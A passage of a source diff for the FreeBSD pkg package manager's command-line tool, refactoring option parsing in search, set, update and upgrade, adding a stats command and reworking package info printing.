			case 'c':
-
				field = FIELD_COMMENT;
-
				break;
-
			case 'd':
-
				field = FIELD_DESC;
-
				break;
-
			case 'r':
-
				reponame = optarg;
-
			case 'f':
-
				opt |= INFO_FULL;
-
				flags |= PKG_LOAD_CATEGORIES|PKG_LOAD_LICENSES|PKG_LOAD_OPTIONS|PKG_LOAD_SHLIBS;
-
				break;
-
			case 'D':
-
				opt |= INFO_PRINT_DEP;
-
				flags |= PKG_LOAD_DEPS;
-
				break;
-
			case 's':
-
				opt |= INFO_SIZE;
-
				break;
-
			case 'q':
-
				opt |= INFO_QUIET;
-
				break;
-
			case 'o':
-
				opt |= INFO_ORIGIN;
-
				break;
-
			case 'p':
-
				opt |= INFO_PREFIX;
-
				break;
-
			default:
-
				usage_search();
-
				return (EX_USAGE);
+
		case 'c':	/* Same as -S comment */
+
			search = search_label_opt("comment");
+
			break;
+
		case 'D':	/* Same as -S description */
+
			search = search_label_opt("description");
+
			break;
+
		case 'd':	/* Same as -M depends-on  */
+
			opt |= modifier_opt("depends-on");
+
			break;
+
		case 'e':
+
			match = MATCH_EXACT;
+
			break;
+
		case 'f':	/* Same as -M full */
+
			opt |= modifier_opt("full");
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'L':
+
			label = search_label_opt(optarg);
+
			break;
+
		case 'M':
+
			opt |= modifier_opt(optarg);
+
			break;
+
		case 'o':	/* Same as -L origin */
+
			label = search_label_opt("origin");
+
			break;
+
		case 'p':	/* Same as -M prefix */
+
			opt |= modifier_opt("prefix");
+
			break;
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'r':
+
			reponame = optarg;
+
			break;
+
		case 'S':
+
			search = search_label_opt(optarg);
+
			break;
+
		case 's':	/* Same as -M size */
+
			opt |= modifier_opt("size");
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		default:
+
			usage_search();
+
			return (EX_USAGE);
		}
	}

@@ -117,21 +309,49 @@ exec_search(int argc, char **argv)

	pattern = argv[0];
	if (pattern[0] == '\0') {
-
		fprintf(stderr, "Pattern should not be empty\n");
+
		fprintf(stderr, "Pattern must not be empty!\n");
		return (EX_USAGE);
	}
-
	if (strchr(pattern, '/') != NULL)
-
		field = FIELD_ORIGIN;
+
	if (search == FIELD_NONE) {
+
		if (strchr(pattern, '/') != NULL)
+
			search = FIELD_ORIGIN;
+
		else
+
			search = FIELD_NAMEVER; /* Default search */
+
	}
+
	if (label == FIELD_NONE)
+
		label = search; /* By default, show what was searched  */
+

+
	switch(label) {
+
	case FIELD_NONE:
+
		break;		/* should never happen */
+
	case FIELD_ORIGIN:
+
		opt |= INFO_TAG_ORIGIN;
+
		break;
+
	case FIELD_NAME:
+
		opt |= INFO_TAG_NAME;
+
		break;
+
	case FIELD_NAMEVER:
+
		opt |= INFO_TAG_NAMEVER;
+
		break;
+
	case FIELD_COMMENT:
+
		opt |= INFO_TAG_NAMEVER|INFO_COMMENT;
+
		break;
+
	case FIELD_DESC:
+
		opt |= INFO_TAG_NAMEVER|INFO_DESCR;
+
		break;
+
	}

	if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK)
		return (EX_IOERR);

-
	if ((it = pkgdb_search(db, pattern, match, field, reponame)) == NULL) {
+
	if ((it = pkgdb_search(db, pattern, match, search, search,
+
	    reponame)) == NULL) {
		pkgdb_close(db);
-
		return (1);
+
		return (EX_IOERR);
	}

-
	while ((retcode = pkgdb_it_next(it, &pkg, flags)) == EPKG_OK) {
+
	flags = info_flags(opt);
+
	while ((ret = pkgdb_it_next(it, &pkg, flags)) == EPKG_OK) {
		print_info(pkg, opt);
		atleastone = true;
	}
@@ -141,9 +361,7 @@ exec_search(int argc, char **argv)
	pkgdb_close(db);

	if (!atleastone)
-
		retcode = EXIT_FAILURE;
-
	else
-
		retcode = ((retcode == EPKG_OK) || (retcode == EPKG_END)) ? EXIT_SUCCESS : EXIT_FAILURE;
+
		ret = EPKG_FATAL;

-
	return (retcode);
+
	return ((ret == EPKG_OK || ret == EPKG_END) ? EX_OK : EX_SOFTWARE);
}
modified pkg/set.c
@@ -35,13 +35,13 @@

#include "pkgcli.h"

-
#define AUTOMATIC 1<<0
-
#define ORIGIN 1<<1
+
#define AUTOMATIC 1U<<0
+
#define ORIGIN 1U<<1

void
usage_set(void)
{
-
	fprintf(stderr, "usage pkg set [-a] [-A [01]] -yxXg <pattern>\n\n");
+
	fprintf(stderr, "usage: pkg set [-a] [-A [01]] [-o <oldorigin>:<neworigin>] [-y] [-xXg] <pkg-name>\n\n");
	fprintf(stderr, "For more information see 'pkg help set'. \n");
}

@@ -68,47 +68,56 @@ exec_set(int argc, char **argv)

	while ((ch = getopt(argc, argv, "ayA:kxXgo:")) != -1) {
		switch (ch) {
-
			case 'y':
-
				yes_flag = true;
-
				break;
-
			case 'a':
-
				match = MATCH_ALL;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'A':
-
				sets |= AUTOMATIC;
-
				newautomatic = strtonum(optarg, 0, 1, &errstr);
-
				if (errstr)
-
					errx(EX_USAGE, "Wrong value for -A expecting 0 or 1, got: %s (%s)", optarg, errstr);
-
				break;
-
			case 'o':
-
				sets |= ORIGIN;
-
				loads |= PKG_LOAD_DEPS;
-
				match = MATCH_ALL;
-
				oldorigin = strdup(optarg);
-
				neworigin = strrchr(oldorigin, ':');
-
				if (neworigin == NULL) {
-
					free(oldorigin);
-
					errx(EX_USAGE, "Wrong format for -o expecting oldorigin:neworigin, got %s", optarg);
-
				}
-
				*neworigin = '\0';
-
				neworigin++;
-
				if (strrchr(oldorigin, '/') == NULL || strrchr(neworigin, '/') == NULL) {
-
					free(oldorigin);
-
					errx(EX_USAGE, "Bad origin format, got %s", optarg);
-
				}
-
				break;
-
			default:
-
				usage_set();
-
				return (EX_USAGE);
+
		case 'y':
+
			yes_flag = true;
+
			break;
+
		case 'a':
+
			match = MATCH_ALL;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'A':
+
			sets |= AUTOMATIC;
+
			newautomatic = strtonum(optarg, 0, 1, &errstr);
+
			if (errstr)
+
				errx(EX_USAGE, "Wrong value for -A. "
+
				    "Expecting 0 or 1, got: %s (%s)",
+
				    optarg, errstr);
+
			break;
+
		case 'o':
+
			sets |= ORIGIN;
+
			loads |= PKG_LOAD_DEPS;
+
			match = MATCH_ALL;
+
			oldorigin = strdup(optarg);
+
			neworigin = strrchr(oldorigin, ':');
+
			if (neworigin == NULL) {
+
				free(oldorigin);
+
				errx(EX_USAGE, "Wrong format for -o. "
+
				    "Expecting oldorigin:neworigin, got: %s",
+
				    optarg);
+
			}
+
			*neworigin = '\0';
+
			neworigin++;
+
			if (strrchr(oldorigin, '/') == NULL ||
+
			    strrchr(neworigin, '/') == NULL) {
+
				free(oldorigin);
+
				errx(EX_USAGE,
+
				    "Bad origin format, got: %s", optarg);
+
			}
+
			break;
+
		default:
+
			if (oldorigin != NULL)
+
				free(oldorigin);
+
			
+
			usage_set();
+
			return (EX_USAGE);
		}
	}

@@ -121,7 +130,7 @@ exec_set(int argc, char **argv)
	}

	if (geteuid() != 0) {
-
		warnx("modifying local database can only be done as root");
+
		warnx("Modifying local database can only be done as root");
		return (EX_NOPERM);
	}

@@ -140,19 +149,26 @@ exec_set(int argc, char **argv)
		}

		if (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC) != EPKG_OK) {
-
			fprintf(stderr, "%s not installed\n", oldorigin);
+
			pkg = NULL;
+
/*			fprintf(stderr, "%s not installed\n", oldorigin);
			free(oldorigin);
			pkgdb_it_free(it);
			pkgdb_close(db);
-
			return (EX_SOFTWARE);
+
			return (EX_SOFTWARE);*/
+
		}
+
		if (pkg != NULL)
+
			pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version);
+
		if (!yes) {
+
			if (pkg != NULL)
+
				yes = query_yesno("Change origin from %s to %s for %s-%s? [y/N]: ",
+
				    oldorigin, neworigin, name, version);
+
			else
+
				yes = query_yesno("Change origin from %s to %s for all dependencies? "
+
				    "[y/N]: ", oldorigin, neworigin);
		}
-
		pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version);
-
		if (!yes)
-
			yes = query_yesno("Change origin from %s to %s for %s-%s? [y/N]: ",
-
			    oldorigin, neworigin, name, version);
-
		if (yes) {
+
		if (pkg != NULL && yes) {
			if (pkgdb_set(db, pkg, PKG_SET_ORIGIN, neworigin) != EPKG_OK)
-
				return (EPKG_FATAL);
+
				return (EX_IOERR);
		}
		pkgdb_it_free(it);
	}
@@ -185,11 +201,11 @@ exec_set(int argc, char **argv)
				struct pkg_dep *d = NULL;
				while (pkg_deps(pkg, &d) == EPKG_OK) {
					/*
-
					 * Do not query user has he has already
-
					 * been queried
+
					 * Do not query user when he has already
+
					 * been queried.
					 */
					if (pkgdb_set(db, pkg, PKG_SET_DEPORIGIN, oldorigin, neworigin) != EPKG_OK)
-
						return (EPKG_FATAL);
+
						return (EX_IOERR);
				}
			}
		}
@@ -202,5 +218,5 @@ exec_set(int argc, char **argv)
	pkg_free(pkg);
	pkgdb_close(db);

-
	return (EXIT_SUCCESS);
+
	return (EX_OK);
}
modified pkg/shell.c
@@ -25,7 +25,9 @@
 */

#include <stdio.h>
+
#include <sysexits.h>
#include <unistd.h>
+

#include <pkg.h>

#include "pkgcli.h"
@@ -41,5 +43,5 @@ int
exec_shell(int argc, char **argv)
{
	pkgdb_cmd(argc, argv);
-
	return EXIT_SUCCESS;
+
	return (EX_OK);
}
modified pkg/shlib.c
@@ -98,7 +98,7 @@ exec_shlib(int argc, char **argv)
		return (EX_IOERR);
	}

-
	while (( ret = pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC)) == EPKG_OK) {
+
	while ((ret = pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC)) == EPKG_OK) {
		if (count == 0)
			printf("%s is linked to by the folowing packages:\n", libname);
		count++;
@@ -109,7 +109,7 @@ exec_shlib(int argc, char **argv)
        if (ret != EPKG_END) {
		retcode = EPKG_WARN;
	} else if (count == 0) {
-
		printf("%s was not found in the database\n", libname);
+
		printf("%s was not found in the database.\n", libname);
		retcode = EPKG_WARN;
	}
		
added pkg/stats.c
@@ -0,0 +1,103 @@
+
/*
+
 * Copyright (c) 2011-2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <stdio.h>
+
#include <sysexits.h>
+
#include <unistd.h>
+
#include <inttypes.h>
+
#include <libutil.h>
+

+
#include <pkg.h>
+

+
#include "pkgcli.h"
+

+
void
+
usage_stats(void)
+
{
+
	fprintf(stderr, "usage: pkg stats [-qlr]\n\n");
+
	fprintf(stderr, "For more information see 'pkg help stats'.\n");
+
}
+

+
int
+
exec_stats(int argc, char **argv)
+
{
+
	struct pkgdb *db = NULL;
+
	int64_t flatsize = 0;
+
	unsigned int opt = 0;
+
	char size[7];
+
	int ch;
+

+
	while ((ch = getopt(argc, argv, "qlr")) != -1) {
+
                switch (ch) {
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'l':
+
			opt |= STATS_LOCAL;
+
			break;
+
		case 'r':
+
			opt |= STATS_REMOTE;
+
			break;
+
		default:
+
			usage_stats();
+
			return (EX_USAGE);
+
                }
+
        }
+
        argc -= optind;
+
        argv += optind;
+

+
	/* default is to show everything we have */
+
	if (opt == 0)
+
		opt |= (STATS_LOCAL | STATS_REMOTE);
+

+
	if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK) {
+
		return (EX_IOERR);
+
	}
+

+
	if (opt & STATS_LOCAL) {
+
		printf("Local package database:\n");
+
		printf("\tInstalled packages: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_LOCAL_COUNT));
+

+
		flatsize = pkgdb_stats(db, PKG_STATS_LOCAL_SIZE);
+
		humanize_number(size, sizeof(flatsize), flatsize, "B", HN_AUTOSCALE, 0);
+
		printf("\tDisk space occupied: %s\n\n", size);
+
	}
+

+
	if (opt & STATS_REMOTE) {
+
		printf("Remote package database(s):\n");
+
		printf("\tNumber of repositories: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_REMOTE_REPOS));
+
		printf("\tPackages available: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_REMOTE_COUNT));
+
		printf("\tUnique packages: %" PRId64 "\n", pkgdb_stats(db, PKG_STATS_REMOTE_UNIQUE));
+

+
		flatsize = pkgdb_stats(db, PKG_STATS_REMOTE_SIZE);
+
		humanize_number(size, sizeof(flatsize), flatsize, "B", HN_AUTOSCALE, 0);
+
		printf("\tTotal size of packages: %s\n", size);
+
	}
+

+
	pkgdb_close(db);
+

+
	return (EX_OK);
+
}
modified pkg/update.c
@@ -41,10 +41,10 @@
#include "pkgcli.h"

/**
-
 * Fetch remote databases.
+
 * Fetch repository calalogues.
 */
int
-
pkgcli_update(void) {
+
pkgcli_update(bool force) {
	const char *packagesite = NULL;
	const char *repo_name;
	bool multi_repos = false;
@@ -52,7 +52,7 @@ pkgcli_update(void) {
	int retcode;

	if (!quiet)
-
		printf("Updating remote repository\n");
+
		printf("Updating repository catalogue\n");

	pkg_config_bool(PKG_CONFIG_MULTIREPOS, &multi_repos);

@@ -69,10 +69,11 @@ pkgcli_update(void) {
			return (1);
		}

-
		retcode = pkg_update("repo", packagesite);
+
		retcode = pkg_update("repo", packagesite, force);
		if (retcode == EPKG_UPTODATE) {
			if (!quiet)
-
				printf("Remote repository up-to-date, no need to upgrade\n");
+
				printf("Repository catalogue is up-to-date, "
+
				       "no need to fetch fresh copy\n");
			retcode = EPKG_OK;
		}
	} else {
@@ -81,10 +82,12 @@ pkgcli_update(void) {
			repo_name = pkg_config_kv_get(repokv, PKG_CONFIG_KV_KEY);
			packagesite = pkg_config_kv_get(repokv, PKG_CONFIG_KV_VALUE);

-
			retcode = pkg_update(repo_name, packagesite);
+
			retcode = pkg_update(repo_name, packagesite, force);
			if (retcode == EPKG_UPTODATE) {
				if (!quiet)
-
					printf("%s repository up-to-date, no need to upgrade\n", repo_name);
+
					printf("%s repository catalogue is "
+
					       "up-to-date, no need to fetch "
+
					       "fresh copy\n", repo_name);
				retcode = EPKG_OK;
			}
		}
@@ -97,24 +100,28 @@ pkgcli_update(void) {
void
usage_update(void)
{
-
	fprintf(stderr, "usage: pkg update [-q]\n\n");
+
	fprintf(stderr, "usage: pkg update [-fq]\n\n");
	fprintf(stderr, "For more information see 'pkg help update'.\n");
}

int
exec_update(int argc, char **argv)
{
-
	int retcode = EPKG_OK;
+
	int ret;
	int ch;
+
	bool force = false;

-
	while ((ch = getopt(argc, argv, "q")) != -1) {
+
	while ((ch = getopt(argc, argv, "fq")) != -1) {
		switch (ch) {
-
			case 'q':
-
				quiet = true;
-
				break;
-
			default:
-
				usage_update();
-
				return (EX_USAGE);
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'f':
+
			force = true;
+
			break;
+
		default:
+
			usage_update();
+
			return (EX_USAGE);
		}
	}
	argc -= optind;
@@ -126,11 +133,11 @@ exec_update(int argc, char **argv)
	}

	if (geteuid() != 0) {
-
		warnx("updating the remote database can only be done as root");
+
		warnx("Updating repository catalogues can only be done as root");
		return (EX_NOPERM);
	}

-
	retcode = pkgcli_update();
+
	ret = pkgcli_update(force);

-
	return (retcode);
+
	return ((ret == EPKG_OK) ? EX_OK : EX_SOFTWARE);
}
modified pkg/updating.c
@@ -71,15 +71,15 @@ exec_updating(int argc, char **argv)

	while ((ch = getopt(argc, argv, "d:f:")) != -1) {
		switch (ch) {
-
			case 'd':
-
				date = optarg;
-
				break;
-
			case 'f':
-
				updatingfile = optarg;
-
				break;
-
			default:
-
				usage_updating();
-
				return (EX_USAGE);
+
		case 'd':
+
			date = optarg;
+
			break;
+
		case 'f':
+
			updatingfile = optarg;
+
			break;
+
		default:
+
			usage_updating();
+
			return (EX_USAGE);
		}
	}
	argc -= optind;
@@ -95,7 +95,7 @@ exec_updating(int argc, char **argv)

	SLIST_INIT(&origins);
	if (argc == 0) {
-
		if (( it = pkgdb_query(db, NULL, MATCH_ALL)) == NULL)
+
		if ((it = pkgdb_query(db, NULL, MATCH_ALL)) == NULL)
			goto cleanup;

		while (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC) == EPKG_OK) {
@@ -116,7 +116,7 @@ exec_updating(int argc, char **argv)
	if (updatingfile == NULL) {
		const char *portsdir;
		if (pkg_config_string(PKG_CONFIG_PORTSDIR, &portsdir) != EPKG_OK) {
-
			warnx("Cant get portsdir config entry");
+
			warnx("Cannot get portsdir config entry!");
			return (1);
		}
		asprintf(&updatingfile, "%s/UPDATING", portsdir);
modified pkg/upgrade.c
@@ -37,7 +37,7 @@
void
usage_upgrade(void)
{
-
	fprintf(stderr, "usage pkg upgrade [-r reponame] [-yfqL]\n");
+
	fprintf(stderr, "usage: pkg upgrade [-fLnqy] [-r reponame]\n\n");
	fprintf(stderr, "For more information see 'pkg help upgrade'.\n");
}

@@ -53,53 +53,59 @@ exec_upgrade(int argc, char **argv)
	int ch;
	bool yes = false;
	bool all = false;
+
	bool dry_run = false;
	bool auto_update = true;

-
	if (geteuid() != 0) {
-
		warnx("upgrading can only be done as root");
-
		return (EX_NOPERM);
-
	}
-

-
	while ((ch = getopt(argc, argv, "yr:fqL")) != -1) {
+
	while ((ch = getopt(argc, argv, "fLnqr:y")) != -1) {
		switch (ch) {
-
			case 'y':
-
				yes = true;
-
				break;
-
			case 'r':
-
				reponame = optarg;
-
				break;
-
			case 'q':
-
				quiet = true;
-
				break;
-
			case 'f':
-
				all = true;
-
				break;
-
			case 'L':
-
				auto_update = false;
-
				break;
-
			default:
-
				usage_upgrade();
-
				return (EX_USAGE);
-
				break; /* NOT REACHED */
+
		case 'f':
+
			all = true;
+
			break;
+
		case 'L':
+
			auto_update = false;
+
			break;
+
		case 'n':
+
			dry_run = true;
+
			break;
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'r':
+
			reponame = optarg;
+
			break;
+
		case 'y':
+
			yes = true;
+
			break;
+
		default:
+
			usage_upgrade();
+
			return (EX_USAGE);
+
			/* NOTREACHED */
		}
	}
	argc -= optind;
	argv += optind;

+
	if (!dry_run && geteuid() != 0) {
+
		warnx("Upgrading can only be done as root");
+
		return (EX_NOPERM);
+
	}
+

	if (argc != 0) {
		usage_upgrade();
		return (EX_USAGE);
	}

	/* first update the remote repositories if needed */
-
	if (auto_update && (retcode = pkgcli_update()) != EPKG_OK)
+
	if (!dry_run && auto_update && 
+
	    (retcode = pkgcli_update(false)) != EPKG_OK)
		return (retcode);

	if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK) {
		return (EX_IOERR);
	}

-
	if (pkg_jobs_new(&jobs, PKG_JOBS_INSTALL, db) != EPKG_OK) {
+
	if (pkg_jobs_new(&jobs, PKG_JOBS_INSTALL, db, false, dry_run)
+
	    != EPKG_OK) {
		goto cleanup;
	}

@@ -121,17 +127,19 @@ exec_upgrade(int argc, char **argv)
	}

	pkg = NULL;
-
	if (!quiet) {
+
	if (!quiet || dry_run) {
		print_jobs_summary(jobs, PKG_JOBS_INSTALL, "The following packages will be upgraded:\n\n");

		if (!yes)
			pkg_config_bool(PKG_CONFIG_ASSUME_ALWAYS_YES, &yes);
-
		if (!yes)
+
		if (!yes && !dry_run)
			yes = query_yesno("\nProceed with upgrading packages [y/N]: ");
+
		if (dry_run)
+
			yes = false;
	}

	if (yes)
-
		if (pkg_jobs_apply(jobs, 0) != EPKG_OK)
+
		if (pkg_jobs_apply(jobs) != EPKG_OK)
			goto cleanup;

	if (messages != NULL) {
modified pkg/utils.c
@@ -2,6 +2,7 @@
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
 * Copyright (c) 2011-2012 Julien Laffaye <jlaffaye@FreeBSD.org>
 * Copyright (c) 2011-2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * Copyright (c) 2012 Matthew Seaman <matthew@FreeBSD.org>
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
@@ -54,7 +55,7 @@ query_yesno(const char *msg, ...)
	else if (c == '\n' || c == EOF)
		return false;

-
	while((c = getchar()) != '\n' && c != EOF)
+
	while ((c = getchar()) != '\n' && c != EOF)
		continue;

	return r;
@@ -94,24 +95,24 @@ absolutepath(const char *src, char *dest, size_t dest_len) {
		else
			len = strlen(ptr);

-
		switch(len) {
-
			case 2:
-
				if (ptr[0] == '.' && ptr[1] == '.') {
-
					slash = strrchr(res, '/');
-
					if (slash != NULL) {
-
						res_len = slash - res;
-
						res[res_len] = '\0';
-
					}
-
					continue;
+
		switch (len) {
+
		case 2:
+
			if (ptr[0] == '.' && ptr[1] == '.') {
+
				slash = strrchr(res, '/');
+
				if (slash != NULL) {
+
					res_len = slash - res;
+
					res[res_len] = '\0';
				}
-
				break;
-
			case 1:
-
				if (ptr[0] == '.')
-
					continue;
-

-
				break;
-
			case 0:
				continue;
+
			}
+
			break;
+
		case 1:
+
			if (ptr[0] == '.')
+
				continue;
+

+
			break;
+
		case 0:
+
			continue;
		}
		res[res_len++] = '/';
		strlcpy(res + res_len, ptr, res_size);
@@ -128,167 +129,370 @@ absolutepath(const char *src, char *dest, size_t dest_len) {
	return &dest[0];
}

+
/* what the pkg needs to load in order to display the requested info */
+
int
+
info_flags(unsigned int opt)
+
{
+
	int flags = PKG_LOAD_BASIC;
+

+
	if (opt & INFO_CATEGORIES)
+
		flags |= PKG_LOAD_CATEGORIES;
+
	if (opt & INFO_LICENSES)
+
		flags |= PKG_LOAD_LICENSES;
+
	if (opt & INFO_OPTIONS)
+
		flags |= PKG_LOAD_OPTIONS;
+
	if (opt & INFO_SHLIBS)
+
		flags |= PKG_LOAD_SHLIBS;
+
	if (opt & INFO_DEPS)
+
		flags |= PKG_LOAD_DEPS;
+
	if (opt & INFO_RDEPS)
+
		flags |= PKG_LOAD_RDEPS;
+
	if (opt & INFO_FILES)
+
		flags |= PKG_LOAD_FILES;
+
	if (opt & INFO_DIRS)
+
		flags |= PKG_LOAD_DIRS;
+
	if (opt & INFO_USERS)
+
		flags |= PKG_LOAD_USERS;
+
	if (opt & INFO_GROUPS)
+
		flags |= PKG_LOAD_GROUPS;
+

+
	return flags;
+
}
+

void
-
print_info(struct pkg * const pkg, unsigned int opt)
+
print_info(struct pkg * const pkg, unsigned int options)
{
-
	struct pkg_dep *dep = NULL;
-
	struct pkg_file *file = NULL;
-
	struct pkg_category *cat = NULL;
-
	struct pkg_license *lic = NULL;
-
	struct pkg_option *option = NULL;
-
	struct pkg_shlib *shlib = NULL;
+
	struct pkg_category *cat    = NULL;
+
	struct pkg_dep	    *dep    = NULL;
+
	struct pkg_dir	    *dir    = NULL;
+
	struct pkg_file	    *file   = NULL;
+
	struct pkg_group    *group  = NULL;
+
	struct pkg_license  *lic    = NULL;
+
	struct pkg_option   *option = NULL;
+
	struct pkg_shlib    *shlib  = NULL;
+
	struct pkg_user	    *user   = NULL;
	bool multirepos_enabled = false;
-
	char buf[BUFSIZ];
-
	char *m;
+
	bool print_tag = false;
	char size[7];
	const char *name, *version, *prefix, *origin, *reponame, *repourl;
-
	const char *maintainer, *www, *comment, *desc, *message;
+
	const char *maintainer, *www, *comment, *desc, *message, *arch;
+
	const char *repopath;
+
	const char *tab;
+
	char *m;
+
	unsigned opt;
	int64_t flatsize, newflatsize, newpkgsize;
	lic_t licenselogic;
+
	int cout = 0;		/* Number of characters output */
+
	int info_num;		/* Number of different data items to print */

	pkg_config_bool(PKG_CONFIG_MULTIREPOS, &multirepos_enabled);

-
	pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version, PKG_PREFIX, &prefix,
-
	    PKG_ORIGIN, &origin, PKG_REPONAME, &reponame, PKG_REPOURL, &repourl,
-
	    PKG_MAINTAINER, &maintainer, PKG_WWW, &www, PKG_COMMENT, &comment,
-
	    PKG_DESC, &desc, PKG_FLATSIZE, &flatsize, PKG_NEW_FLATSIZE, &newflatsize,
-
		PKG_NEW_PKGSIZE, &newpkgsize, PKG_LICENSE_LOGIC, &licenselogic, PKG_MESSAGE, &message);
-

-
	if (opt & INFO_RAW) {
-
		pkg_emit_manifest(pkg, &m);
-
		printf("%s\n", m);
-
		free(m);
-
	} else if (opt & INFO_FULL) {
-
		printf("%-15s: %s\n", "Name", name);
-
		printf("%-15s: %s\n", "Version", version);
-
		printf("%-15s: %s\n", "Origin", origin);
-
		printf("%-15s: %s\n", "Prefix", prefix);
-

-
		if ((pkg_type(pkg) == PKG_REMOTE) && multirepos_enabled)
-
			printf("%-15s: %s [%s]\n", "Repository", reponame, repourl);
-

-
                if (!pkg_list_is_empty(pkg, PKG_CATEGORIES)) {
-
                        printf("%-15s:", "Categories");
-
                        while (pkg_categories(pkg, &cat) == EPKG_OK)
-
                                printf(" %s", pkg_category_name(cat));
-
                        printf("\n");
-
                }
-

-
		if (!pkg_list_is_empty(pkg, PKG_LICENSES)) {
-
			printf("%-15s:", "Licenses");
-
			while (pkg_licenses(pkg, &lic) == EPKG_OK) {
-
				printf(" %s", pkg_license_name(lic));
-
				if (licenselogic != 1)
-
					printf(" %c", licenselogic);
-
				else
-
					printf(" ");
-
			}
-
			printf("\b \n");
+
	pkg_get(pkg,
+
		PKG_NAME,          &name,
+
		PKG_VERSION,       &version,
+
		PKG_PREFIX,        &prefix,
+
		PKG_ORIGIN,        &origin,
+
		PKG_REPONAME,      &reponame,
+
		PKG_REPOURL,       &repourl,
+
		PKG_MAINTAINER,    &maintainer,
+
		PKG_WWW,           &www,
+
		PKG_COMMENT,       &comment,
+
		PKG_DESC,          &desc,
+
		PKG_FLATSIZE,      &flatsize,
+
		PKG_NEW_FLATSIZE,  &newflatsize,
+
		PKG_NEW_PKGSIZE,   &newpkgsize,
+
		PKG_LICENSE_LOGIC, &licenselogic,
+
		PKG_MESSAGE,       &message,
+
		PKG_ARCH,	   &arch,
+
		PKG_REPOPATH,	   &repopath);
+

+
	if (!multirepos_enabled)
+
		pkg_config_string(PKG_CONFIG_REPO, &repourl);
+

+
	if (options & INFO_RAW) { /* Not for remote packages */
+
		if (pkg_type(pkg) != PKG_REMOTE) {
+
			pkg_emit_manifest(pkg, &m);
+
			printf("%s\n", m);
+
			free(m);
		}
+
		return;
+
	}

-
		printf("%-15s: %s\n", "Maintainer", maintainer);
-
		printf("%-15s: %s\n", "WWW", www);
-
		printf("%-15s: %s\n", "Comment", comment);
+
	if (!quiet) {
+
		/* Print a tag-line identifying the package -- either
+
		   NAMEVER, ORIGIN or NAME (in that order of
+
		   preference).  This may be the only output from this
+
		   function */
+

+
		if (options & INFO_TAG_NAMEVER)
+
			cout = printf("%s-%s", name, version);
+
		else if (options & INFO_TAG_ORIGIN)
+
			cout = printf("%s", origin);
+
		else if (options & INFO_TAG_NAME)
+
			cout = printf("%s", name);
+
	}

-
                if (!pkg_list_is_empty(pkg, PKG_OPTIONS)) {
-
                        printf("%-15s: \n", "Options");
-
                        while (pkg_options(pkg, &option) == EPKG_OK)
-
                                printf("\t%s: %s\n", pkg_option_opt(option), pkg_option_value(option));
-
                }
+
	/* Don't display a tab if quiet, retains compatibility. */
+
	tab = quiet == false ? "\t" : "";

-
		if (!pkg_list_is_empty(pkg, PKG_SHLIBS)) {
-
			printf("%-15s:", "SharedLibraries");
-
			while (pkg_shlibs(pkg, &shlib) == EPKG_OK)
-
				printf(" %s", pkg_shlib_name(shlib));
-
			printf("\n");
-
		}
+
	/* If we printed a tag, and there are no other items to print,
+
	   then just return now. If there's only one single-line item
+
	   to print, show it at column 32 on the same line. If there's
+
	   one multi-line item to print, start a new line. If there is
+
	   more than one item to print per pkg, use 'key : value'
+
	   style to show on a new line.  */

-
		if (pkg_type(pkg) == PKG_INSTALLED || pkg_type(pkg) == PKG_FILE) {
-
			humanize_number(size, sizeof(size), flatsize, "B", HN_AUTOSCALE, 0);
-
			printf("%-15s: %s\n", "Flat size", size);
-
